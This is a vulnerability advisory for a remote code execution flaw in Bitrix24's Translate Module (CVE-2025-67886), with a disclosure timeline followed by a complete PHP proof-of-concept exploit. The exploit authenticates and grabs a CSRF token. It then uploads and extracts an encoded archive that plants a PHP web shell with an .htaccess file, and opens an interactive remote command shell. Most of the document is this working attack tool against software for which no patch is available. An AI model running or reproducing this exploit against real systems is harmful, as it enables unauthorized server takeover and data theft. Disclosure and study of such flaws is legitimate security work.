📄 Bitrix24 25.100.300 Remote Code Execution

-----------------------------------------------------------------------------
    Bitrix24 <= 25.100.300 (Translate Module) Remote Code Execution Vulnerability
    -----------------------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.bitrix24.com
    
    
    [-] Affected Versions:
    
    Version 25.100.300 and prior versions.
    
    
    [-] Vulnerability Description:
    
    The vulnerability is located within the "Translate Module", which
    allows users to upload and extract archive files into a temporary
    directory. However, the application fails to properly verify the
    contents of these archives before extracting them. This can be
    exploited by malicious users to upload and execute arbitrary PHP code
    by including a PHP file along with a specially crafted .htaccess file
    within the archive.
    
    Successful exploitation of this vulnerability requires an account with
    "SOURCE" and "WRITE" permissions for the "Translate Module".
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2025-67886.php
    
    
    [-] Solution:
    
    No official solution is currently available.
    
    
    [-] Disclosure Timeline:
    
    [22/10/2025] - Vendor notified, no response
    [03/11/2025] - Vendor contacted again, no response
    [12/11/2025] - CVE identifier requested
    [12/12/2025] - CVE identifier assigned
    [15/12/2025] - Public disclosure
    
    
    [-] CVE Reference:
    
    The Common Vulnerabilities and Exposures program (cve.org) has
    assigned the name CVE-2025-67886 to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    http://karmainsecurity.com/KIS-2025-07
    
    
    --- proof of concept (attached by Packet Storm) ---
    
    <?php
    
    /*
        -----------------------------------------------------------------------------
        Bitrix24 <= 25.100.300 (Translate Module) Remote Code Execution Vulnerability
        -----------------------------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://www.bitrix24.com
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisory:
    
        https://karmainsecurity.com/KIS-2025-07
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    if (!extension_loaded("curl")) die("[-] cURL extension required!\n");
    
    if ($argc != 4) die("\nUsage: php $argv[0] <URL> <Username> <Password>\n\n");
    
    $url = $argv[1];
    $user = $argv[2];
    $passwd = $argv[3];
    $ch = curl_init();
    
    @unlink('./cookies.txt');
    
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_COOKIEJAR, './cookies.txt');
    curl_setopt($ch, CURLOPT_COOKIEFILE, './cookies.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    //curl_setopt($ch, CURLOPT_PROXY, 'http://127.0.0.1:8080');
    
    print "[+] Logging into Bitrix\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}");
    curl_setopt($ch, CURLOPT_POSTFIELDS, "AUTH_FORM=1&TYPE=AUTH&USER_LOGIN={$user}&USER_PASSWORD={$passwd}");
    
    if (!preg_match("/BITRIX_SM_LOGIN/", curl_exec($ch))) die("[-] Login failed!\n");
    
    curl_setopt($ch, CURLOPT_POST, false);
    
    if (!preg_match('/"bitrix_sessid":"([^"]+)"/', curl_exec($ch), $csrf)) die("[-] CSRF token not found!\n");
    
    print "[+] Uploading malicious archive\n";
    
    @file_put_contents("rce.tar.gz", base64_decode("H4sIAAAAAAAAA+3VQWvCMBQH8F71U+Qw6DyoTaftwaKH4XCHwVDZZRsla582ENvQRPC0z75Y2Jg7THZwIvx/lxfa9/qSlkdNQUr1dKG90wmcKBrsI4+HwffY4GHo8WEQN8to6AWc3wy4x4IT7unL1lhRM+bRWu5+yzt2/0IlE/ftma5laZmfOv6IaWGMLert9ZswFA3SnLIqp+urdDGdP03nz/5suXxMb/3XTmf0o3Qybp/7RPAXvcKKLCNjTtjj2PyHYbyf/yiOY87d4DfzH2L+/0Nyv3qo8q0itqnydCM31MvG7VZyJxUZ9s5e9v8Gd6G1IDsTZa6oZkJrJTNhZVX2d93CWp13XZar6jdl43bS/3ysWx90cHlNAxfTlRJrRuValsSq8qDo3K8FAAAAAAAAAAAAAAAAAAAA4GJ8AJ02kYkAKAAA"));
    
    curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.upload");
    curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1], "tarFile" => new CURLFile("rce.tar.gz")]);
    
    if (!preg_match('/"status":"success"/', curl_exec($ch))) die("[-] Upload failed!\n");
    
    print "[+] Extracting malicious archive\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.extract");
    curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1]]);
    
    if (!preg_match('/"status":"success"/', curl_exec($ch))) die("[-] Extract failed!\n");
    
    curl_setopt($ch, CURLOPT_URL, "{$url}bitrix/services/main/ajax.php?action=translate.asset.grabber.apply");
    curl_setopt($ch, CURLOPT_POSTFIELDS, ["sessid" => $csrf[1], "PROCESS_TOKEN" => 1, "languageId" => "en"]);
    
    if (!preg_match('/upload\\\\\/tmp[^"]+"/', curl_exec($ch), $path)) die("[-] Path not found!\n");
    
    $path = str_replace('\/', '/', substr($path[0], 0, -8));
    
    print "[+] Launching shell\n";
    
    curl_setopt($ch, CURLOPT_URL, "{$url}{$path}/shell.php");
    curl_setopt($ch, CURLOPT_POST, false);
    
    while(1)
    {
    	print "\nbitrix-shell# ";
    	if (($cmd = trim(fgets(STDIN))) == "exit") break;
    	curl_setopt($ch, CURLOPT_HTTPHEADER, ["C: ".base64_encode($cmd)]);
    	preg_match('/____(.*)____/s', curl_exec($ch), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
    }